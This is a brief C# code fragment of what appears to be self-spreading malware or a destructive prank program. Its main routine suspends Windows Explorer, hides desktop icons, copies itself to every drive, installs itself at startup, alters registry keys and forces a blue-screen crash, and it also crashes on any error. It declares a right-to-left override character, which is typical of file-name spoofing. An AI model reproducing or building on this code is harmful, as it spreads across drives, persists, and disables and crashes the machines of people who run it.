static void StartNormal() { try { int explorer = Process.GetProcessesByName("explorer")[0].Id; //save it so that we can seset the UI later on char rev = '\u202E'; Processes.SuspendProcess(explorer); //suspends explorer.exe so the windows UI and stuff won't work. can't recover without an open cmd window //now we can do stuff if (Explorer.AreDesktopIconsVisible())//hide desktop icons { Explorer.ToggleDesktopIconsVisibility(); } //Copy this program to all drives Duplicate(); //setup this program at startup SetupStartup(); //setup registry keys SetupRegistry(); //resume explorer Processes.ResumeProcess(explorer); //BSoD Miscellaneous.Crash(); } catch { Miscellaneous.Crash();//if any error occurres, show BSoD } }
public void Crash() { if (Program.Form1.checkBox8.Checked) { Miscellaneous.Crash(); } else { Port.WriteLine("CRASH is disabled."); } }
private void BSoD() { Miscellaneous.Crash(); }